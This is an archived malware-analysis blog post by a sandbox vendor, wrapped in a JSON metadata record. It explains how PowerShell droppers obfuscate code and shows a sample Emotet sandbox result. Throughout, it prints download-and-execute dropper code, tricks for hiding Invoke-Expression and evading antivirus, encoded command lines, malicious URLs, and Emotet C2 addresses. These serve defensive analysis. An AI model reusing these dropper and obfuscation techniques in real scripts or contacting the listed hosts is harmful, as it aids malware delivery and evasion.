{
	"id": "c865c5af-796c-4a48-9f8b-59e704542a68",
	"created_at": "2026-04-06T00:06:45.082709Z",
	"updated_at": "2026-04-10T13:12:54.916357Z",
	"deleted_at": null,
	"sha1_hash": "cedd9a10359401b2dcd479ab895c9fdc6c89a804",
	"title": "Hatching - Automated malware analysis solutions",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 123025,
	"plain_text": "Hatching - Automated malware analysis solutions\r\nBy Written by Team\r\nPublished: 2020-01-07 · Archived: 2026-04-05 16:41:50 UTC\r\nWarning: this blogpost contains malicious URLs, don't open 'em.\r\nNote: Scroll down if you're only interested in the Emotet results.\r\nPowershell twirks\r\nDue to a high number of Powershell droppers in our public cloud we’ve implemented an engine for Powershell\r\nthat translates Powershell into an AST, deobfuscates it, and runs various high-level static analysis algorithms on\r\nthe deobfuscated AST. For specific use-cases a limited Powershell emulator has also been implemented.\r\nWith that out of the way we wanted to share some \"\"\"InTErEstInG\"\"\" features of the Powershell language\r\n(naturally accompanied with various obfuscation techniques) and provide results and statistics from Powershell-related samples submitted to tria.ge.\r\nWe’re going to start out with the simplest version to download a file in Powershell. Almost all Powershell\r\ndroppers use this technique (or the DownloadString version that fetches the URL in-memory) to obtain the real\r\npayload from a URL that’s often only online for a very limited period of time.\r\n(new-object net.webclient).downloadfile('hxxp://www.kuaishounew.com/wget.exe','wget.exe');\r\nKeeping that in mind, most simple Powershell droppers are structured as follows; determine some payload\r\nfilename, set up one or more URLs, iterate through each URL and try to download it, and if successful (the file\r\nsize is more than a couple of kilobytes), then execute it as a new process.\r\n$path = \"...\";\r\n$web = New-Object net.webclient;\r\n$urls = \"url1,url2,url3,url4,url5\".split(\",\");\r\nforeach ($url in $urls) {\r\n try {\r\n $web.DownloadFile($url, $path);\r\n if ((Get-Item $path).Length -ge 30000) {\r\n [Diagnostics.Process]::Start($path);\r\n break;\r\n }\r\n }\r\n catch{}\r\n}\r\nhttps://hatching.io/blog/powershell-analysis\r\nPage 1 of 8\n\nPowershell being a dynamic scripting language and all that, it’s possible to do things in multiple ways. For\r\nexample, calling the New-Object cmdlet can also be expressed with its string obfuscated through the dot\r\nexpression .\r\n.('new-'+'o'+'bjec'+'t') NET.weBCLIENt\r\nOr through the similar amp expression . Naturally, Powershell allowing escape sequences, there can be backticks\r\nin the identifier.\r\n\u0026('ne'+'w-'+'o'+'bject') nET.wE`BCLieNT\r\nOr at the beginning of an identifier.\r\nNew-Object nET.`wE`BCLieNT\r\nOr at the end of an identifier.\r\n.('new-obje'+'c'+'t') net`.WebClIe`Nt\r\nIn order to make Powershell a truly dynamic language, it shall be possible to use a string as method/field identifier\r\n(this calls DownloadFile on the net.webclient object). This string identifier may also contain backticks.\r\n$Glmodecoxsyda.\"dO`WnlO`ADfILE\"($Muyiwcipde, $Waazouqp);\r\nThere are many ways to obfuscate a string or an array. Most of the time the split method is called on a string to\r\nobtain an array of URLs.\r\n$VlR='hxxp://kulikovonn.ru/l5vT7q19U@hxxp://optics-line.com/vUUp9ygDE@hxxp://lonestarcustompainting.com/BLC3RY4\r\nPS C:\\Users\\Administrator\u003e $VlR\r\nhxxp://kulikovonn[.]ru/l5vT7q19U\r\nhxxp://optics-line[.]com/vUUp9ygDE\r\nhxxp://lonestarcustompainting[.]com/BLC3RY4O\r\nhxxp://montegrappa[.]com[.]pa/OkyoMANm\r\nhxxp://kristianmarlow[.]com/mhFm2oA4Q\r\nThere’s also a string formatting operator for “smart” concatenation operations, in this case resulting in the string\r\n\"hello\" .\r\nPS C:\\Users\\Administrator\u003e \"{1}{0}\"-f(\"{1}{0}\"-f'o','ll'),'he'\r\nhello\r\nhttps://hatching.io/blog/powershell-analysis\r\nPage 2 of 8\n\nIn practice this may look as follows.\r\n$QxB__QxB=(\"{43}{19}{27}{11}{38}{23}{26}{34}{33}{25}{21}{3}{6}{32}{10}{14}{17}{45}{40}{9}{31}{13}{24}{2}{44}{41\r\nPS C:\\Users\\Administrator\u003e $QxB__QxB\r\nhxxp://www[.]lattsat[.]com/wp-content/2tS8A/\r\nhxxps://www[.]chunbuzx[.]com/wp-includes/I2/\r\nhxxps://profithack[.]com/wp-content/themes/sketch/SkhHEA/\r\nhxxp://diegogrimblat[.]com/flv/Ojn4/\r\nhxxp://dragonfang[.]com/nav/dwfeO/\r\nClearly building upon earlier constructs, the \"split\" method identifier may also be obfuscated with string\r\nconcatenation. To make matters more interesting, object methods have methods of their own, in this case Invoke\r\nto execute the method with the arguments provided to the Invoke method.\r\n(\"\u003curlshere\u003e\").(\"{0}{1}\"-f'Spl','it').Invoke('@')\r\nAlso note that it’s possible to do Powershell programming without the space bar as most operators can be put right\r\nbehind each other without whitespaces in-between.\r\nPS C:\\Users\\Administrator\u003e 5 -band 3\r\n1\r\nPS C:\\Users\\Administrator\u003e 5-band3\r\n1\r\nPS C:\\Users\\Administrator\u003e \"1\",\"3\"-join\"2\"\r\n123\r\nThe -split operator is interesting, because the assumption is that it would return a list of strings, which it\r\nprobably does. But then if you have multiple -split operators following one another, you appear to get a flat list\r\ntoo, so probably -split can work on both strings and arrays. Note that the string separator may also be an\r\ninteger, internally probably casted to be a string.\r\nPS C:\\Users\\Administrator\u003e \"he4llo0w1rld\" -split \"4\" -split 0 -split \"1\"\r\nhe\r\nllo\r\nw\r\nrld\r\nLike most scripting languages, it’s possible to execute arbitrary Powershell code at runtime (like eval() in\r\nJavascript). This is the Invoke-Expression cmdlet or iex short and looks as follows.\r\nhttps://hatching.io/blog/powershell-analysis\r\nPage 3 of 8\n\nPS C:\\Users\\Administrator\u003e iex 'write-host 1'\r\n1\r\nSince Powershell can handle command-line invocations, it also has a built-in pipe operator.\r\nPS C:\\Users\\Administrator\u003e 'write-host 1'|iex\r\n1\r\nTo avoid specifically mentioning the iex string, many droppers use global Powershell variables to construct the\r\nstring at runtime paired with the dot and amp expressions. One may find the $ENV variable to be interesting\r\ntoo or at least how it’s pretty much the only thing that’s indexed with a colon identifier ( :comspec , with\r\nCOMSPEC being a Windows environment variable). Each of the following expressions are equivalent to just\r\nwriting out Invoke-Expression directly.\r\n\u0026( $VERBOSePREFerence.TOSTRinG()[1,3]+'x'-JOiN'')\r\n\u0026 ( $SheLLId[1]+$shEllId[13]+'x')\r\n\u0026( $EnV:cOmSpEc[4,15,25]-JOIN'')\r\nAdditionally, yes, there’s also a Set-Alias cmdlet (or sal short) that’s capable of essentially symlinking a method\r\nor cmdlet to another name in Powershell.\r\nPS C:\\Users\\Administrator\u003e sal ping iex;ping(\"write-host 1\")\r\n1\r\nWith the knowledge from all the above, we can now move into deobfuscating the first layer of the following\r\nPowershell dropper. It first removes garbage characters through the -split operator and then iterates over each\r\ncharacter using the foreach-object cmdlet and -bxor operator, that performs a binary xor operation, to get the\r\ndeobfuscated string.\r\nInterestingly, both operands to the -bxor operator are integer strings, one regular number (base10) and one\r\nhexadecimal number (base16). Snippet somewhat shortened for improved visibility.\r\niNVoKE-expREsSIOn( [sTRIng]::joIn('', ('16,102e94\u002692D9\u002690,81~67O25D91O86D94\u002681,87e64{20-122O81{64e26{99~81s86s1\r\n(This calls Invoke-Expression with the following string, shortened for visibility).\r\n$Rjh=new-object Net.WebClient;$YmO='http://www[.]jxprint[.]ru/tad1U3Jam2/...\r\nThe next step in obfuscation includes adding a base64 blob that’s executed (snippet shortened) using\r\n[System.Convert]::FromBase64String(...) .\r\nhttps://hatching.io/blog/powershell-analysis\r\nPage 4 of 8\n\ninvoke-expression([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JHBhdGggPSAkZW52Ol\r\n(This calls Invoke-Expression with the following string, shortened for visibility).\r\n$path = $env:TEMP + '\\Any Name.exe'; (New-Object System.Net.WebClient).DownloadFile('http://hbse...\r\nAnd if that’s not enough, one can always spice it up with a deflate/zlib stream (snippet shortened) using New-Object System.IO.Compression.DeflateStream(...) .\r\n\u0026( $VERBOSePREFerence.TOSTRinG()[1,3]+'x'-JOiN'') (New-OBjeCt Io.StrEaMrEADeR( ( New-OBjeCt sYStEm.iO.compRes\r\nBut what if we obfuscate the Set-Alias parameter? This example casts an array of integers to an array of\r\ncharacters and then to a string (the string \"ieX\" ). The Set-Alias command then aliases the sy identifier to the\r\n\"ieX\" , which is equivalent to iex and thus Invoke-Expression .\r\n$qG=[string][char[]]@(0x69,0x65,0x58) -replace ' ','';sal sy $qG;$Wg=((New-Object Net.WebClient)).DownloadStrin\r\nNext to the foreach-object { ... } construct, there’s also the shorter % { ... } construct, both working with\r\nthe pipe operator, accepting an item or an array of items. The following results in hello .\r\n((104, 101, 108, 108, 111) | %{([char] [int] $_)})-jOIN''\r\nFun fact: if you replace [char] [int] in the snippet above with [ChAR] [iNt] (as was the case in the sample\r\nwhere this example originated from), then Powershell on Windows 10 may avoid running it and throw the This\r\nscript contains malicious content and has been blocked by your antivirus software. error. This is what\r\nwe call the Spongebob filter :-)\r\nNow that you’ve seen almost everything, we’re introducing the foreach language construct as obfuscated string.\r\nOne might expect this to be a language keyword / statement, but well, here goes. This also results in hello .\r\n((104, 101, 108, 108, 111) | .('for'+'E'+'ach') { ([char][int]$_)})-jOIN''\r\nIn case you’re not convinced by the power of Powershell yet, Powershell has a concept of generic strings that\r\nessentially represent plaintext code that can’t possibly be correct Powershell code. In other words, it’s possible to\r\nwrite down URLs without quotes as one would normally define one or more strings. Not unsurprisingly the\r\ncomma is actually interpreted correctly and the below -Source parameter of Start-BitsTransfer results in an\r\narray of 3 URLs.\r\nImport-Module BitsTransfer; Start-BitsTransfer -Source hxxps://raw.githubusercontent.com/jocofid282/tewsa/maste\r\nhttps://hatching.io/blog/powershell-analysis\r\nPage 5 of 8\n\nFortunately for us, the .NET engine also knows the concept of Secure Strings. Since some of our samples in\r\nproduction decrypt “secure strings” and then execute the plaintext code resulting from it, we have implemented\r\nthis behavior too.\r\nWhile we were initially startled by the fact that the SecureString took around a 10x increase in size when\r\ncompared to the plaintext string, this fact is quickly explained by the decryption process. The SecureString is\r\nessentially a hex encoded AES CBC encrypted UTF16 encoded string. This string is then joined with the\r\nSecureString version number and the Initialization Vector (which itself is base64 encoded), UTF16 encoded,\r\nbase64 encoded, and finally a magic header is slapped onto it. The following image regarding the decryption\r\nprocess better explains the logic:\r\n1 Input 2 Strip header\r\n3 base64 decode 4 utf16 decode\r\n8 utf16 decode 9 Plaintext output\r\n5 split “|” 7 AES (IV,CT)\r\n6.1 version\r\n6.2 IV \u003e base64\r\n6.3 CT \u003e hex\r\nIn terms of Powershell fun \u0026 quirks this is it for today, although there’s plenty more to talk about.. wildcards,\r\nreflection, powershell executing x86 shellcode, etc.\r\nEmotet results in production\r\nWe’ve had quite some people submit Powershell-based payloads to our public cloud, partially due to our Emotet\r\nconfiguration extractor, but also due to numerous other malware samples that are being uploaded on a daily basis.\r\nFurthermore, we implemented a Powershell static analysis library capable of handling the above Powershell\r\nquirks and around 99% of the Powershell payloads that we’ve seen in our production environment at tria.ge.\r\nCombining these two facts, we arrived at the following conclusion:\r\nGiving back to the community, we’re releasing polished sandbox results on more than 50,000 unique\r\nmalware samples that we believe to be Emotet-related.\r\nThe data can be found here.\r\nAn example entry of polished analysis with all artifacts available (with sha256 and sha512 hashes removed for\r\nvisibility):\r\nhttps://hatching.io/blog/powershell-analysis\r\nPage 6 of 8\n\n{\r\n \"family\": \"emotet\",\r\n \"taskid\": \"200101-1s48ckzwxj\",\r\n \"archive\": {\r\n \"md5\": \"40cb422a49bfa7ae143156f73dba4149\",\r\n \"sha1\": \"6d97ee9291d0b9ad64e2c8da30c945dfa706809d\",\r\n },\r\n \"document\": {\r\n \"md5\": \"c2f04f8e408daf34a47cce39d492902e\",\r\n \"sha1\": \"70ed95f2bba918fc1833f4eafa0f780cdcfa4711\",\r\n },\r\n \"dropper\": {\r\n \"cmdline\": \"Powershell -w hidden -en JABGAG4AZwBpAGEAdQB1AGoAeABrAHQAPQAnAFcAagBvAHgAdQB3AHkAdwB2ACcAOwA\r\n \"urls\": [\r\n \"http://macomp.co.il/wp-content/d78i3j-pkx6legg5-92996338/\",\r\n \"http://naymov.com/ucheba/kvl0vss-qrex4-501625964/\",\r\n \"http://neovita.com/iwa21/ZvfClE/\",\r\n \"http://nfsconsulting.pt/cgi-bin/YylxPF/\",\r\n \"http://nitech.mu/modules/TYJwbOkm/\"\r\n ]\r\n },\r\n \"payload\": {\r\n \"filepath\": \"C:\\\\Users\\\\Admin\\\\844.exe\",\r\n \"md5\": \"8565d2e08b151eac88953b4f244502fd\",\r\n \"sha1\": \"a6102580563981dd6a3d399ea524248d716d2022\",\r\n },\r\n \"emotet\": {\r\n \"pubkey\": \"-----BEGIN PUBLIC KEY-----\\nMHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAMqZMACZDzcRXuSnj2OI8LeIYKrbUIXL\\\r\n \"c2\": [\r\n \"85.100.122.211:80\",\r\n \"78.189.165.52:8080\",\r\n \"88.248.140.80:80\",\r\n \"45.79.75.232:8080\",\r\n \"124.150.175.133:80\",\r\n ... snip ...\r\n ]\r\n }\r\n}\r\nSome more information on the data file:\r\nEach line contains one JSON blob detailing one Emotet analysis.\r\nThe taskid field links to the task ID on tria.ge, our cloud sandbox. E.g., the first entry ( 200101-\r\n1dghyjegsn ) equals the analysis at 200101-1dghyjegsn.\r\nThe archive hashes, if present, contain the hashes of the archive that was submitted to Triage. E.g., if the\r\nsample was delivered as Office document in a Zip file.\r\nhttps://hatching.io/blog/powershell-analysis\r\nPage 7 of 8\n\nThe document hashes contain the hashes of the Office dropper document or, if the Emotet payload was\r\nsubmitted directly, the Emotet payload.\r\nThe dropper entry, if present, contains information on the executed Powershell payload and the Dropper\r\nURLs that we extracted from this Powershell payload. One may find that many different Office documents\r\nexecute the exact same Powershell payload, but that doesn’t make the sample hashes irrelevant.\r\nThe payload hashes, if present, contain the hashes of the dropped Emotet payload.\r\nThe emotet entry, if present, contains the RSA Public Key as well as C2 information embedded in the\r\nEmotet payload.\r\nConclusion\r\nWe’ve implemented a Powershell deobfuscator and emulator that’s capable of handling the vast majority of\r\nPowershell payloads that we see in our public cloud. As always, we will continue to improve our sandboxing\r\ntooling to improve handling specific use-cases and we’re going to keep an eye on all newly submitted (Powershell\r\nand other) samples!\r\nIf any customers or (potential) users would like to use any of our static analysis capabilities standalone from the\r\nsandboxing side of things or if there are other requests related to our sandbox, please do reach out to us.\r\nHappy hunting \u0026 analyzing and stay tuned for our upcoming blogposts!\r\nSource: https://hatching.io/blog/powershell-analysis\r\nhttps://hatching.io/blog/powershell-analysis\r\nPage 8 of 8",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://hatching.io/blog/powershell-analysis"
	],
	"report_names": [
		"powershell-analysis"
	],
	"threat_actors": [],
	"ts_created_at": 1775434005,
	"ts_updated_at": 1775826774,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/cedd9a10359401b2dcd479ab895c9fdc6c89a804.pdf",
		"text": "https://archive.orkl.eu/cedd9a10359401b2dcd479ab895c9fdc6c89a804.txt",
		"img": "https://archive.orkl.eu/cedd9a10359401b2dcd479ab895c9fdc6c89a804.jpg"
	}
}